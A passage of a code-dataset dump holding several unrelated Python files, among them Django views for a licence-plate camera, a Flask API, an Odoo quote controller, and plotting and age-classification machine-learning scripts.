service=\"dv\", start_date=None, end_date=None):\n self.site = site\n self.service = service\n self.start_date = start_date\n self.end_date = end_date\n #self.fetch = hf.get_nwis(self.site, self.service, self.start_date, self.end_date)\n self.fetch = self.fetch2\n\n\n\n","sub_path":"hydrofunctions/station.py","file_name":"station.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"611314402","text":"from django.contrib.contenttypes.models import ContentType\nfrom rest_framework import serializers\n\nfrom .models import Task\n\nfrom projects.models import Project\n\nclass ProjectTaskSerializer(serializers.HyperlinkedModelSerializer):\n\n class Meta:\n model = Task\n fields = ('url', 'name', 'id')\n\n\nclass TaskedItemRelatedField(serializers.RelatedField):\n\n def to_representation(self, value):\n if isinstance(value, Project):\n return 'project: ' + value.url\n raise Exception('Unexpected type of task.')\n\nclass TaskSerializer(serializers.ModelSerializer):\n #content_type = serializers.StringRelatedField()\n class Meta:\n model = Task\n fields = ('url', 'name', 'description', 'complete', 'created', 'modified', 'content_type', 'object_id')\n","sub_path":"clearances/tasks/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"105481850","text":"import os\n\nimport pytest\n\ntry:\n from shapely.geometry import shape\nexcept ImportError: # pragma: no cover\n shape = None\n\nfrom pydplace import geo\n\n@pytest.mark.skipif('TRAVIS' in os.environ or shape is None, reason=\"pygdal not installed\")\ndef test_match():\n with pytest.raises(AssertionError):\n geo.match(0, 0, [])\n\n\ndef test_match_contains(mocker):\n mocker.patch('pydplace.geo.shape', mocker.Mock())\n mocker.patch('pydplace.geo.Point', mocker.Mock())\n assert geo.match(0, 0, [mocker.MagicMock()])[1] == 0\n\n\ndef test_match_contains_not(mocker):\n mocker.patch(\n 'pydplace.geo.shape', mocker.Mock(return_value=mocker.Mock(contains=lambda p: False)))\n mocker.patch(\n 'pydplace.geo.Point', mocker.Mock(return_value=mocker.Mock(distance=lambda p: 100)))\n assert geo.match(0, 0, [mocker.MagicMock()])[1] == 100\n","sub_path":"tests/test_geo.py","file_name":"test_geo.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"451750725","text":"from django.shortcuts import render\nfrom django.views import View\nfrom django.http import JsonResponse\nfrom django.conf import settings\nfrom django.db import connection\nfrom typing import Dict, Any\n\nfrom django.db.models import Count\nfrom lpr.models import LPRCamera\nfrom lpr.models import LPRCamera_reports\nfrom lpr.models import LPRCamera_allowed_plates\n\nimport tensorflow as tf\n# IMAGE TO STRING\nfrom django.core.serializers import serialize\nimport base64\nimport re\nimport urllib\nimport json\nimport time\nimport numpy as np\nfrom datetime import datetime, timedelta\nfrom cerebro_lpr import load_plate_models, detect_plates\nimport cv2\nimport subprocess\n# Create your views here.\n\n\n#net, meta, wpod_net=load_plate_models()\n\n#graph = tf.get_default_graph()\nclass BaseView(View):\n def global_context(self, request=None):\n return {\n 'DEBUG': settings.DEBUG,\n 'view': f'{self.__module__}.{self.__class__.__name__}',\n 'sql_queries': len(connection.queries),\n }\n\n def render_template(self, request, context=None, template=None):\n return render(request, template or self.template, {\n **self.global_context(),\n **(context or {}),\n })\n\n def render_json(self, json_dict: Dict[str, Any], **kwargs):\n return JsonResponse(json_dict, **kwargs)\n\nclass LPR_View(BaseView):\n template = 'lpr/home.html'\n\n def context(self):\n allowed_plates=[]\n for i in LPRCamera_allowed_plates.objects.all().values():\n allowed_plates.append(i[\"allowed_plate\"])\n print(i[\"allowed_plate\"])\n allowed_plates=\"{\"+f\"\\\"allowed_plates\\\":{allowed_plates}\"+\"}\"\n allowed_plates=allowed_plates.replace(\"'\", \"\\\"\")\n print(allowed_plates)\n allowed_plates=json.loads(allowed_plates)\n# print(LPRCamera.objects.all().values()[0])\n\n return {\n 'MAP_API': settings.MAP_API,\n 'LPRCamera': LPRCamera.objects.all().values()[0] if LPRCamera.objects.all().count()!=0 else [0, 0, 0, 0],\n 'LPRCamera_allowed_plates':allowed_plates\n }\n\n def get(self, request):\n return self.render_template(request, self.context())\n\ndef decode_base64(data, altchars=b'+/'):\n \"\"\"Decode base64, padding being optional.\n\n :param data: Base64 data as an ASCII byte string\n :returns: The decoded byte string.\n\n \"\"\"\n data = re.sub(rb'[^a-zA-Z0-9%s]+' % altchars, b'', data) # normalize\n missing_padding = len(data) % 4\n if missing_padding:\n data += b'='* (4 - missing_padding)\n return base64.b64decode(data, altchars)\n\ndef fecthLPR(request):\n # url_cam = request.GET.get('url')\n # img = request.GET.get('img')\n # req = urllib.request.urlopen(url_cam)\n # print(req)\n # arr = np.asarray(bytearray(req.read()), dtype=np.uint8)\n # frame = cv2.imdecode(arr, -1) # 'Load it as it is'\n \n # lp_threshold=0.7\n # letter_threshold=0.4\n # print(url_cam)\n # cap= cv2.VideoCapture(url_cam)\n # ret, frame=cap.read()\n # frame = cv2.resize(frame, (600,300), interpolation = cv2.INTER_CUBIC)\n # detected_plates=[]\n # with graph.as_default():\n # detected_plates=detect_plates(frame,net,meta, wpod_net,lp_threshold,letter_threshold)\n # print(\"detect_plates\\n\")\n # print(detected_plates)\n # #cap.release()\n # if detected_plates!=[]:\n # for i in detected_plates:\n # LPRAux_reports=LPRCamera_reports(\n # detected_plate=i)\n # LPRAux_reports.save() \n # cap.release()\n return JsonResponse({\"ok\": \"ok\"}, safe=False)\n\ndef add_new_allowed_plate(request):\n new_allowed_plate = request.GET.get('new_allowed_plate')\n print(new_allowed_plate)\n allowed_plates=LPRCamera_allowed_plates(allowed_plate=new_allowed_plate)\n print(allowed_plates.save())\n return JsonResponse({\"ok\": \"ok\"}, safe=False)\n\ndef remove_allowed_plate(request):\n plate_to_remove = request.GET.get('plate_to_remove')\n print(plate_to_remove)\n print(LPRCamera_allowed_plates.objects.filter(allowed_plate=plate_to_remove).delete())\n return JsonResponse({\"ok\": \"ok\"}, safe=False)\n\ndef save_url(request):\n url_cam = request.GET.get('url')\n LPRCamera_obj = LPRCamera.objects.update(url=url_cam)\n print(f\"\\n\\n {url_cam} \\n\\n\")\n print(f\"\\n\\n asfagagadgr \\n\\n\")\n return JsonResponse({\"ok\": \"ok\"}, safe=False)\n\ndef edit_roi(request):\n x = request.GET.get('x')\n y = request.GET.get('y')\n width = request.GET.get('width')\n height = request.GET.get('height')\n \n LPRCamera_obj = LPRCamera.objects.update(detection_zone=[x, y, width, height])\n return JsonResponse({\"ok\": \"ok\"}, safe=False)\n\ndef update_ip(request):\n eth_ip = request.GET.get('eth_ip')\n eth_gateway = request.GET.get('eth_gateway')\n eth_mask = request.GET.get('eth_mask')\n LPRCamera_obj = LPRCamera.objects.update(eth_ip=eth_ip,eth_gateway=eth_gateway,eth_mask=eth_mask)\n\n subprocess.check_call(['static/scripts/CHANGE_IP.sh', eth_ip, eth_gateway, eth_mask])\n subprocess.check_call(['sudo reboot'])\n \n return JsonResponse({\"ok\": \"ok\"}, safe=False)\n\n\ndef config(request):\n\n eth_ip = list(LPRCamera.objects.values('eth_ip'))[0]['eth_ip']\n eth_gateway = list(LPRCamera.objects.values('eth_gateway'))[0]['eth_gateway']\n eth_mask = list(LPRCamera.objects.values('eth_mask'))[0]['eth_mask']\n\n context = {\"eth_ip\": eth_ip, \"eth_gateway\": eth_gateway,\"eth_mask\":eth_mask}\n return render(request, 'configuration/config.html', context=context)\n\n\ndef dashboard(request):\n\n today = datetime.now()\n timestamp_to = datetime.now() + timedelta(days=3)\n timestamp_from = datetime.now() - timedelta(days=3)\n print('\\ntimestamp_to\\n')\n print(timestamp_to)\n print('\\ntimestamp_from\\n')\n print(timestamp_from)\n\n # read data\n values = []\n categories=[]\n lpr_reports = LPRCamera_reports.objects.values('detected_plate').annotate(total=Count('detected_plate'))\n\n #lpr_reports = json.loads(serialize('json', lpr_reports))\n\n print(lpr_reports)\n\n for i in lpr_reports:\n values.append(i['total'])\n categories.append(i['detected_plate'])\n \n context = {\"categories\": categories, 'values': values}\n print(context)\n return render(request, 'lpr/dashboard.html', context=context)\n","sub_path":"lpr/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"288501379","text":"#!/usr/bin/python3\n\"\"\" Status of our API \"\"\"\nfrom models import storage\nfrom api.v1.views import app_views\nfrom os import getenv\nfrom flask import Flask, make_response, jsonify\nfrom flask import Blueprint\nfrom flask_cors import CORS\n\n\"\"\"Host and port env variables\"\"\"\nhost_env = getenv('HBNB_API_HOST') or '0.0.0.0'\nport_env = getenv('HBNB_API_PORT') or 5000\n\napp = Flask(__name__)\napp.url_map.strict_slashes = False\napp.register_blueprint(app_views)\n\"\"\" Cors access to selected resources from a different origin.\"\"\"\ncors = CORS(app, resources={\"/*\": {\"origins\": \"0.0.0.0\"}})\n\n\n@app.teardown_appcontext\ndef teardown_db(error):\n \"\"\" Close db session \"\"\"\n storage.close()\n\n\n@app.errorhandler(404)\ndef not_found(error):\n \"\"\"\n Method to manage the url's that does'nt exist\n \"\"\"\n return make_response(jsonify({\"error\": \"Not found\"}), 404)\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Main Function\n \"\"\"\n app.run(\n host=host_env, port=port_env,\n debug=True, threaded=True,\n )\n","sub_path":"api/v1/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"128444461","text":"from tkinter import *\nimport tkinter.ttk as ttk\nimport hex\nroot = Tk()\n# root.configure(bg=hex.lightGrey)\n\ndef leftClick(event):\n print(\"Left\")\n\ndef middleClick(event):\n print(\"Middle\")\n\ndef rightClick(event):\n print(\"Right\")\n\nframe = Frame(root, width=650, height=\"400\")\nframe.bind(\"\", leftClick)\nframe.bind(\"\", middleClick)\nframe.bind(\"\", rightClick)\nframe.pack()\n\nroot.mainloop()\n","sub_path":"gui5.py","file_name":"gui5.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"344036349","text":"import werkzeug\n\nfrom odoo import fields, http, _\nfrom odoo.http import request\nfrom odoo.addons.website_mail.controllers.main import _message_post_helper\nfrom odoo.addons.website_quote.controllers.main import sale_quote\n\nclass SaleQuote(sale_quote):\n\n @http.route(\"/quote//\", type='http', auth=\"public\", website=True)\n def view(self, order_id, pdf=None, token=None, message=False, **post):\n # use sudo to allow accessing/viewing orders for public user\n # only if he knows the private token\n\n #Jagadeesh added\n\t\n sale_order_obj = request.env['sale.order'].sudo().browse(order_id)\n\t\n if sale_order_obj.partner_id.account_type == 'account' and sale_order_obj.partner_id.account_blocked:\n return request.render('kt_fts_customization.account_blocked_template',{'sale_rep':sale_order_obj.user_id.name})\n elif sale_order_obj.partner_id.account_type == 'account' and sale_order_obj.amount_total > sale_order_obj.partner_id.available_credit_amount:\n return request.render('kt_fts_customization.credit_limit_template',{'sale_rep':sale_order_obj.user_id.name})\n else:pass\n #Jagadeesh end\n now = fields.Date.today()\n if token:\n Order = request.env['sale.order'].sudo().search([('id', '=', order_id), ('access_token', '=', token)])\n # Log only once a day\n if Order and request.session.get('view_quote') != now:\n request.session['view_quote'] = now\n body = _('Quotation viewed by customer')\n _message_post_helper(res_model='sale.order', res_id=Order.id, message=body, token=token, token_field=\"access_token\", message_type='notification', subtype=\"mail.mt_note\", partner_ids=Order.user_id.partner_id.ids)\n else:\n Order = request.env['sale.order'].search([('id', '=', order_id)])\n\n if not Order:\n return request.render('website.404')\n request.session['sale_order_id'] = Order.id\n\n days = 0\n if Order.validity_date:\n days = (fields.Date.from_string(Order.validity_date) - fields.Date.from_string(fields.Date.today())).days + 1\n if pdf:\n pdf = request.env['report'].sudo().with_context(set_viewport_size=True).get_pdf([Order.id], 'website_quote.report_quote')\n pdfhttpheaders = [('Content-Type', 'application/pdf'), ('Content-Length', len(pdf))]\n return request.make_response(pdf, headers=pdfhttpheaders)\n transaction_id = request.session.get('quote_%s_transaction_id' % Order.id)\n if not transaction_id:\n Transaction = request.env['payment.transaction'].sudo().search([('reference', '=', Order.name)])\n else:\n Transaction = request.env['payment.transaction'].sudo().browse(transaction_id)\n values = {\n 'quotation': Order,\n 'message': message and int(message) or False,\n 'option': bool(filter(lambda x: not x.line_id, Order.options)),\n 'order_valid': (not Order.validity_date) or (now <= Order.validity_date),\n 'days_valid': days,\n 'action': request.env.ref('sale.action_quotations').id,\n 'breadcrumb': request.env.user.partner_id == Order.partner_id,\n 'tx_id': Transaction.id if Transaction else False,\n 'tx_state': Transaction.state if Transaction else False,\n 'tx_post_msg': Transaction.acquirer_id.post_msg if Transaction else False,\n 'need_payment': Order.invoice_status == 'to invoice' and Transaction.state in ['draft', 'cancel', 'error'],\n 'token': token,\n }\n\n if Order.require_payment or values['need_payment']:\n values['acquirers'] = list(request.env['payment.acquirer'].sudo().search([('website_published', '=', True), ('company_id', '=', Order.company_id.id)]))\n extra_context = {\n 'submit_class': 'btn btn-primary',\n 'submit_txt': _('Pay & Confirm')\n }\n values['buttons'] = {}\n for acquirer in values['acquirers']:\n values['buttons'][acquirer.id] = acquirer.with_context(**extra_context).render(\n '/',\n Order.amount_total,\n Order.pricelist_id.currency_id.id,\n values={\n 'return_url': '/quote/%s/%s' % (order_id, token) if token else '/quote/%s' % order_id,\n 'type': 'form',\n 'alias_usage': _('If we store your payment information on our server, subscription payments will be made automatically.'),\n 'partner_id': Order.partner_id.id,\n })\n return request.render('website_quote.so_quotation', values)\n\n","sub_path":"kt_fts_customization/controllers/main_old.py","file_name":"main_old.py","file_ext":"py","file_size_in_byte":4789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"184017586","text":"import os, sys\nimport numpy as np\nfrom pdb import set_trace as st\nimport pandas as pd\n\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cm\nfrom matplotlib import axes\nimport matplotlib.ticker as ticker\n\ndir = f\"models/prune/f1score_avg/allprune_subset_0.05\"\nmodes = [\n \"posneg_small\",\n \"posonly_small\",\n]\n\nfig_dir = os.path.join(dir, \"fig\")\nos.makedirs(fig_dir, exist_ok=True)\n\ndef load_csv(filename):\n path = os.path.join(dir, filename)\n return pd.read_csv(path, index_col=0)\n\ndef draw_by_ratio():\n subdir = \"ratio_line\"\n fig_subdir = os.path.join(fig_dir, subdir)\n os.makedirs(fig_subdir, exist_ok=True)\n \n for combination_number in range(2, 10):\n subset_dir = os.path.join(fig_subdir, f\"subset_{combination_number}\")\n os.makedirs(subset_dir, exist_ok=True)\n # All trace on each class\n df = load_csv(f\"allconv_subset_{combination_number}.csv\")\n \n for class_ids in np.unique(df[\"classes\"]):\n exp_df = df[df[\"classes\"] == class_ids]\n \n posneg_all = exp_df[\"posnegweight_small_all\"].to_list()\n posneg_subset = exp_df[\"posnegweight_small_subset\"].to_list()\n edge = exp_df[\"edgeweight_small\"].to_list()\n edge_avg = exp_df[\"edgeweight_small_avg\"].to_list()\n random = exp_df[\"randomweight_small\"].to_list()\n ratio = exp_df[\"ratio\"].to_list()\n index = list(range(len(ratio)))\n \n fig, ax = plt.subplots(figsize=(8,6))\n colormap = plt.cm.Paired\n \n # with plt.style.context('fivethirtyeight'):\n # plt.gca().set_color_cycle([colormap(i) for i in np.linspace(0, 0.9, 5)])\n plt.plot(ratio, posneg_subset, label=\"NNSlicer (Subset)\",\n marker='*', linestyle='--')\n plt.plot(ratio, posneg_all, label=\"NNSlicer (All Dataset)\",\n marker='.', linestyle='-')\n plt.plot(ratio, edge, label=\"Weight\",\n marker='v', linestyle=None)\n plt.plot(ratio, edge_avg, label=\"Weight (Profiling)\",\n marker='o', linestyle=':')\n plt.plot(ratio, random, label=\"Random\",\n marker='d', linestyle='-.')\n \n ax.set_ylabel(\"Accuracy on Subset\")\n ax.set_xlabel(\"Prune Ratio\")\n ax.set_title(f\"Prune Performance on Subset of class {class_ids}\")\n # labels = [f\"{r:.1f}\" for r in ratio]\n # ax.set_xticklabels(labels)\n plt.ylim(0, 100)\n plt.legend(loc=\"lower left\", ncol=1)\n \n fig_name = f\"subset_{class_ids}.pdf\"\n fig_path = os.path.join(subset_dir, fig_name)\n plt.savefig(fig_path)\n plt.clf()\n \n \n \ndef draw_by_subset():\n subdir = \"subset_hist\"\n fig_subdir = os.path.join(fig_dir, subdir)\n os.makedirs(fig_subdir, exist_ok=True)\n \n for combination_number in range(2, 10):\n # All trace on each class\n df = load_csv(f\"allconv_subset_{combination_number}.csv\")\n \n for ratio in np.unique(df[\"ratio\"]):\n subset_dir = os.path.join(fig_subdir, f\"subset_{combination_number}\",\n f\"ratio={ratio:.2f}\")\n os.makedirs(subset_dir, exist_ok=True)\n \n ratio_df = df[df[\"ratio\"] == ratio]\n subsets = np.unique(df[\"classes\"])\n subset_per_image = 10\n for i, idx in enumerate(range(0, len(subsets), subset_per_image)):\n fig_subset = list(subsets[idx:min(len(subsets), idx+subset_per_image)])\n \n fig_df = []\n for classes in fig_subset:\n fig_df.append( ratio_df[ratio_df[\"classes\"] == classes])\n fig_df = pd.concat(fig_df)\n \n posneg_subset = fig_df[\"posnegweight_small_subset\"].to_list()\n posneg_all = fig_df[\"posnegweight_small_all\"].to_list()\n edge = fig_df[\"edgeweight_small\"].to_list()\n edge_avg = fig_df[\"edgeweight_small_avg\"].to_list()\n random = fig_df[\"randomweight_small\"].to_list()\n ratio = fig_df[\"ratio\"].to_list()\n index = list(range(len(fig_subset)))\n index = [2*j for j in index]\n \n fig, ax = plt.subplots(figsize=(8,6))\n width = 0.3\n posneg_rect = plt.bar(left=index, height=posneg_subset, \n width=width, label=\"NNSlicer (Subset)\")\n weight_rect = plt.bar(left=[i + width for i in index], height=posneg_all, \n width=width, label=\"NNSlicer (All Dataset)\")\n weight_avg_rect = plt.bar(left=[i + 2*width for i in index], height=edge, \n width=width, label=\"Weight\")\n channel_rect = plt.bar(left=[i + 3*width for i in index], height=edge_avg, \n width=width, label=\"Weight (Profiling)\")\n random_rect = plt.bar(left=[i + 4*width for i in index], height=random, \n width=width, label=\"Random\")\n \n ax.set_ylabel(\"Accuracy on Subset\")\n ax.set_xlabel(\"Subset\")\n ax.set_title(\"Prune Performance on Subset\")\n ax.set_xticks([p + 2 * width for p in index])\n labels = fig_subset\n ax.set_xticklabels(labels)\n plt.ylim(0, 100)\n \n plt.legend(loc=\"lower left\", ncol=1)\n \n fig_name = f\"subset_acc_{i}.pdf\"\n fig_path = os.path.join(subset_dir, fig_name)\n plt.savefig(fig_path)\n plt.clf()\n\ndef draw_by_subset_alldataset():\n subdir = \"subset_hist\"\n fig_subdir = os.path.join(fig_dir, \"subset_hist\", \"subset_mean\")\n os.makedirs(fig_subdir, exist_ok=True)\n \n all_df = []\n for combination_number in range(2, 10):\n # All trace on each class\n df = load_csv(f\"allconv_subset_{combination_number}.csv\")\n df[\"combination\"] = combination_number\n all_df.append(df)\n all_df = pd.concat(all_df)\n \n \n for ratio in np.unique(all_df[\"ratio\"]):\n df = all_df[all_df[\"ratio\"] == ratio]\n \n com_df = []\n for combination_number in np.unique(df[\"combination\"]):\n com_df.append(df[df[\"combination\"] == combination_number].mean().to_frame().transpose())\n com_df = pd.concat(com_df)\n \n posneg_subset = com_df[\"posnegweight_small_subset\"].to_list()\n posneg_all = com_df[\"posnegweight_small_all\"].to_list()\n edge = com_df[\"edgeweight_small\"].to_list()\n edge_avg = com_df[\"edgeweight_small_avg\"].to_list()\n random = com_df[\"randomweight_small\"].to_list()\n subset_size = com_df[\"combination\"].astype(int).to_list()\n index = list(range(len(subset_size)))\n index = [2*j for j in index]\n \n fig, ax = plt.subplots(figsize=(8,6))\n width = 0.3\n posneg_rect = plt.bar(left=index, height=posneg_subset, \n width=width, label=\"NNSlicer (Subset)\")\n weight_rect = plt.bar(left=[i + width for i in index], height=posneg_all, \n width=width, label=\"NNSlicer (All Dataset)\")\n weight_avg_rect = plt.bar(left=[i + 2*width for i in index], height=edge, \n width=width, label=\"Weight\")\n channel_rect = plt.bar(left=[i + 3*width for i in index], height=edge_avg, \n width=width, label=\"Weight (Profiling)\")\n random_rect = plt.bar(left=[i + 4*width for i in index], height=random, \n width=width, label=\"Random\")\n \n ax.set_ylabel(\"Mean Accuracy on Subset\")\n ax.set_xlabel(\"Subset Size\")\n ax.set_title(\"Mean Accuracy on Each Subset Size\")\n ax.set_xticks([p + 2 * width for p in index])\n labels = subset_size\n ax.set_xticklabels(labels)\n plt.ylim(0, 100)\n \n plt.legend(loc=\"lower left\", ncol=1)\n \n fig_name = f\"subset_ratio{ratio:.2f}.pdf\"\n fig_path = os.path.join(fig_subdir, fig_name)\n plt.savefig(fig_path)\n plt.clf()\n \n \n \n \ndraw_by_ratio()\ndraw_by_subset()\ndraw_by_subset_alldataset()","sub_path":"submissions/available/NNSlicer/protection/knockoff/prune/post_process/cmp_subset_acc.py","file_name":"cmp_subset_acc.py","file_ext":"py","file_size_in_byte":8559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"403375400","text":"# -*- coding: utf-8 -*-\n\n# =============================================================================\n# ML Analysis\n# =============================================================================\n\n\n# standard libraries\nimport numpy as np\nimport matplotlib.pylab as plt\nimport pandas as pd\nfrom sklearn.utils.class_weight import compute_class_weight\nfrom sklearn.linear_model import RidgeCV, LogisticRegressionCV\nfrom sklearn.model_selection import train_test_split\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn.preprocessing import RobustScaler\nfrom sklearn.manifold import SpectralEmbedding\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.model_selection import StratifiedKFold\nimport json\n\n\n# %%\n\n# Load db\nfilename = \"cleaned_db.json\" # cleaned db with:\n # 38 extracted features, \n # 4 covariates \n # and chronological age\n\nd = json.load(open(filename))\nd = pd.DataFrame(d).T\nd = d.set_index(np.arange(len(d)))\n\n# quality thresholding\nquality_threshold = .01\nd = d[np.logical_and(d.quality>=0, d.qualitystd_thr_o1, age[train_idx]std_thr_o1, age_test[test_idx]std_thr_o1,\n agestd_thr_o1,\n agestd_thr_o1, 0, 1)\n\n\nbin_features_test = features_test[np.logical_or(age_teststd_thr_o1,\n age_teststd_thr_o1,\n age_teststd_thr_o1, 0, 1)\n\n\n\n\n# %%\n\n\nn_regressions = 100 # it means 100 linear + 100 logistic\n\n# FIND MOST RELEVANT FEATURES\n\n\n# =============================================================================\n# LNEAR REGRESSION\n# =============================================================================\n\n\nrankingr = np.array([np.asarray(features.columns.values),\n np.zeros(len(features.columns.values))]).T\nintercepts_r = []\nbest_alpha = []\n\n\nfor _ in range(n_regressions):\n print(_)\n X_train, X_test, y_train, y_test = train_test_split(features, age,\n test_size=0.33,\n shuffle=True,\n random_state=_)\n\n # RIDGE CV\n alphs = 10**np.linspace(-1, 3, 9)\n ridge = RidgeCV(alphas=alphs, cv=3)\n ridge.fit(X_train, y_train)\n\n names = features.columns.values\n all_params = []\n\n for _ in range(len(names)):\n all_params.append([names[_], ridge.coef_[_]])\n \n \n intercepts_r.append(ridge.intercept_)\n best_alpha.append(ridge.alpha_)\n\n all_params = np.asarray(all_params).T\n values = np.asarray(all_params[1], dtype=float)\n order = np.argsort(np.abs(values))\n\n for i, p in zip(order, range(len(order))):\n rankingr[i][1] += p\n\nfinal_pointsr = np.array(len(rankingr)-np.asarray(rankingr.T[1])/n_regressions)\n\n\n\n\n# %%\n\n\n\n# =============================================================================\n# LOGISTIC REGRESSION\n# =============================================================================\n\n\nrankingl = np.array([np.asarray(features.columns.values),\n np.zeros(len(features.columns.values))]).T\n\nintercepts_l = []\nbest_C = []\n\n\nC_s = np.logspace(-2, 5, 8)\n\nfor _ in range(n_regressions):\n print(_)\n X_train, X_test, y_train, y_test = train_test_split(bin_features, bin_age,\n test_size=0.33,\n shuffle=True,\n random_state=_)\n\n\n class_weights = compute_class_weight('balanced', np.unique(y_train), y_train)\n class_w = {np.unique(y_train)[0]:class_weights[0],\n np.unique(y_train)[1]:class_weights[1]}\n\n logit = LogisticRegressionCV(solver='saga',\n max_iter=10000, \n random_state=_, \n Cs=C_s,\n cv=3,\n class_weight=class_w)\n logit.fit(X_train, y_train)\n\n names = features.columns.values\n all_params = []\n\n for _ in range(len(names)):\n all_params.append([names[_], logit.coef_[0][_]])\n\n intercepts_l.append(logit.intercept_)\n best_C.append(logit.C_)\n\n all_params = np.asarray(all_params).T\n values = np.asarray(all_params[1], dtype=float)\n order = np.argsort(np.abs(values))\n\n for i, p in zip(order, range(len(order))):\n rankingl[i][1] += p\n\nfinal_pointsl = np.array(len(rankingl)-np.asarray(rankingl.T[1])/n_regressions)\nfinal_points = final_pointsl + final_pointsr\n\n\n# %%\n\n\n# =============================================================================\n# OBTAIN FINAL SCORE\n# =============================================================================\n\nfinal_pointsl = final_pointsl[np.argsort(final_points)]\nfinal_pointsr = final_pointsr[np.argsort(final_points)]\n\nfinal_rank = np.array(rankingl.T[0][np.argsort(final_points)])\nfinal_points = np.sort(final_points)\n\n\n\n\n\n# %%\n\n# =============================================================================\n# ALL the following code cells are related to plots and ML/DL comparison\n# =============================================================================\n\n\n# Creating Spectral Embedding components fro further plots\n\n# 2 components\nfeatures_SE2 = SpectralEmbedding(n_components=2).fit_transform(bin_features)\nse2_1 = features_SE2.T[0]\nse2_2 = features_SE2.T[1]\n\n\n# 3 components \nfeatures_SE3 = SpectralEmbedding(n_components=3).fit_transform(bin_features)\nse3_1 = features_SE3.T[0]\nse3_2 = features_SE3.T[1]\nse3_3 = features_SE3.T[2]\n\n\n\n# %%\n\n# 2-D PLOT: component vs component\nfig, ax = plt.subplots()\na = ax.scatter(se2_1*1000, se2_2*1000, s=5, alpha=1, c=bin_age, cmap='jet_r')\ncb = fig.colorbar(a)\ncb.set_label(\"chronological age (years)\")\nax.grid()\nax.set_ylabel(\"2nd component (a.u.)\")\nax.set_xlabel(\"1st component (a.u.)\")\n\n\n# %%\n\n# 3-D PLOT: 3 components\nfig, ax = plt.subplots()\nax = Axes3D(fig)\na = ax.scatter(se3_1*1e3, se3_2*1e3, se3_3*1e3, s=5, c=bin_age, cmap='jet_r')\n\nax.set_xlabel(\"1st component (a.u.)\")\nax.set_ylabel(\"2nd component (a.u.)\")\nax.set_zlabel(\"3rd component (a.u.)\")\ncbar = fig.colorbar(a)\ncbar.set_label(\"chronological age (years)\")\nfig.show()\n\n\n# %%\n\n\n# SVM hyperparameter's tuning (gamma and C) with CV on train set\n\nkf = StratifiedKFold(n_splits=3, shuffle=True, random_state=42)\ncov = ['length', 'weight', 'sex', 'smoke']\nsaved = []\npar = []\nf = ['tpr', 'a'] # + cov # uncomment the \" + cov\" to add covariates\n\n\nmin_par1 = -3\nmin_par2 = 0.5\n\nmax_par1 = -1\nmax_par2 = 1.5\n\nnum1 = 13\nnum2 = 13\n\nk = num1*num2+1\n\nfor i in 10**np.linspace(min_par1, max_par1, num=num1):\n for j in 10**np.linspace(min_par2, max_par2, num=num2):\n scores = []\n\n classif = SVC(gamma=i,\n C=j, \n random_state=42)\n\n # REMOVE \"[f]\" if you want to use all the variables in the db\n new_bin_features = bin_features[f] \n \n for train_index, test_index in kf.split(new_bin_features, bin_age):\n classif.fit(new_bin_features.iloc[train_index], bin_age[train_index])\n \n scores.append(classif.score(new_bin_features.iloc[test_index], bin_age[test_index]))\n \n saved.append(np.mean(scores))\n par.append([i, j])\n k-=1\n print(\"\\nmissing iterations: \", k)\n \n\nprint(max(saved), \" gamma = \", str(par[np.argmax(saved)][0]), \" C = \", str(par[np.argmax(saved)][1]), \" for \", f)\n\n\n\n# %%\n\n# You need this cell only if you want to compare performances of\n# Machine Learning approach (ML) and Deep Learning apporach (DL)\n\n# FIRST YOU NEED TO RUN \"prepare_db_for_DL.py\" \n# AND \"DL.py\" FILES IN ORDER TO RUN THIS CELL\n# N.W you need to keep the variables saved in the running enviroment\n\n\nseparate_guys.append(len(y_predicted))\nNN_probs = []\n\nfor i,j in zip(separate_guys, separate_guys[1:]):\n \n NN_probs.append(np.mean(y_predicted[i:j], axis=0))\n\nNN_probs = np.asarray(NN_probs)\n\n\ny_pred_CNN = np.argmax(NN_probs, axis=1)\n\n\n\n\n# %%\n\n# Cell needed only if you want to plot more AUC curves together\n\nlabls = []\nlines = []\n\n\n# %%\n\n\n\n\n\n# UNCOMMENT ONE OF THE FOLLOWING CLASSIFIERS IN ORDER TO CHECK ITS AUC\n\n# classifier = SVC(gamma=0.01, C=12.11528, probability=True, random_state=42) # ALL\n# classifier = 'CNN'\nclassifier = SVC(gamma=0.0051, C=695, probability=True, random_state=42) # tpr+a+cov\n# classifier = SVC(gamma=9, C=1, probability=True, random_state=42) # tpr+a\n# classifier = SVC(gamma=42, C=1, probability=True, random_state=42) # cov\n\n# classifier = SVC(gamma=0.01145, C=657.93322, probability=True, random_state=42) # ac_slope+tpr+cov\n# classifier = SVC(gamma=77, C=.2, probability=True, random_state=42) # ac_slope\n# classifier = SVC(gamma=60, C=.7, probability=True, random_state=42) # a\n# classifier = SVC(gamma=3.2, C=.4, probability=True, random_state=42) # tpr\n# classifier = SVC(gamma=0.03162, C=1.77828, probability=True, random_state=42) # ibi\n# classifier = SVC(gamma=21.54435, C=.1, probability=True, random_state=42) # pnn20\n\n\n\ncov = ['length', 'weight', 'sex', 'smoke']\nf = ['tpr', 'a']# + cov # uncomment \" + cov\" to add covariates\n\n\n# REMOVE \"[f]\" if you want to use all the variables in the db\nX_train, y_train = 